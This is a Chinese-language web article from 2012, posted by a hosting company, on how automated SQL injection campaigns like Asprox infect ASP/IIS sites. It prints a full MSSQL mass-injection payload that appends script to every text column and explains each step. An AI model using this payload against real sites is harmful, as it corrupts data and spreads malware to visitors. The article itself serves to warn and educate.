小心你的WEB應用程序成為數據竊賊的幫兇(3) |
發布時間: 2012/6/11 19:27:54 |
自動攻擊
攻擊者可以使用兩種主要的攻擊方法來利用SQL注入漏洞:自動攻擊和手動攻擊。從字面上看似乎很容易理解,但這兩種攻擊在機制上是非常不同的。自動攻擊一般是為特定目的而編制的一種工具所導致的結果。例如,有的攻擊使用大規模的注入攻擊,其目的是為了讓其攻擊范圍最大化并任意擴散其代碼。這種大規模的攻擊一般針對非常具體的應用程序架構,如運行ASP的IIS億恩科技服務器等。而Asprox攻擊,其目的是為了將一個JavaScript或iframe標記注入到網頁中,從而傳播病毒。 自動SQL注入舉例 下面是一個高級SQL注入攻擊的例子,它能夠注入到某些字段類型中。很長一段時間以來,此類代碼可以有效的幫助攻擊者傳播病毒。 wangzhan.com/ssp.asp?username=zhangsan’;DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE TABLE_CURSOR CURSOR FOR SELECT A.NAME,B.NAME FROM SYSOBJECTS A,SYSCOLUMNS B WHERE A.ID=B.ID AND A.XTYPE=‘U’ AND (B.XTYPE=99 OR B.XTYPE=35 OR B.XTYPE=231 OR B.XTYPE=167) OPEN TABLE_CURSOR FETCH NEXT FROM TABLE_CURSOR INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC(‘UPDATE [‘+@T+’] SET [‘+@C+’]=RTRIM(CONVERT(VARCHAR(4000),[‘+@C+’]))+’<script code>‘) FETCH NEXT FROM TABLE_CURSOR INTO @T,@C END CLOSE TABLE_CURSOR DEALLOCATE TABLE_CURSOR;-- 下面,我們簡單地看一下這段代碼是如何針對后端數據庫實施攻擊的。首先,攻擊者聲明了Table (T) 和 Column (C)這兩個變量。 DECLARE @T VARCHAR(255),@C VARCHAR(255) 并聲明了一個可以保存查詢結果的表cursor: DECLARE TABLE_CURSOR CURSOR FOR 下面的SELECT語句通過“text”、“sysname”、“varchar”等列來檢索所有的用戶對象,并且將結果存儲在前面創建的CURSOR中。 SELECT A.NAME,B.NAME FROM SYSOBJECTS A,SYSCOLUMNS B WHERE A.ID=B.ID AND A.XTYPE=‘U’ AND (B.XTYPE=99 OR B.XTYPE=35 OR B.XTYPE=231 OR B.XTYPE=167) 在下面的代碼中,數據表CURSOR檢索結果,并將其分配給表和列變量: OPEN TABLE_CURSOR FETCH NEXT FROM TABLE_CURSOR INTO @T,@C WHILE(@@FETCH_STATUS=0) 此時,攻擊者已經檢索了數據庫中基于文本的這些列,其意圖是為了修改這些列的內容。在這里,攻擊者雖然沒有篡改數據,但已經完成了所有必要的偵察。然后,執行更新語句,將JavaScript置于列變量中的每一列中。攻擊完成后,包含Web內容(這些內容源自數據庫的任何字段)的任何網頁都會提交攻擊者的惡意JavaScript代碼。然后,該JavaScript用一個病毒感染Web用戶的計算機: WHILE(@@FETCH_STATUS=0) BEGIN EXEC(‘UPDATE [‘+@T+’] SET [‘+@C+’]=RTRIM(CONVERT(VARCHAR(4000),[‘+@C+’]))+’<script code>‘) FETCH NEXT FROM TABLE_CURSOR INTO @T,@C END 在注入的結尾,攻擊者執行清理,覆蓋所有的攻擊痕跡: CLOSE TABLE_CURSOR DEALLOCATE TABLE_CURSOR;-- 這些攻擊是完全自動化的;黑客攻擊只需使用搜索引擎簡單地搜索互聯網,查找運行經典的ASP代碼的Web億恩科技服務器即可。別再自欺欺人的相信“我的網站:(www.vbseamall.com)很小,誰會愿意攻擊它呢?”這種愚蠢的謊言。如果你正在通過互聯網做商務,不管企業大小,都易于遭到攻擊。 本文出自:億恩科技【www.vbseamall.com】 |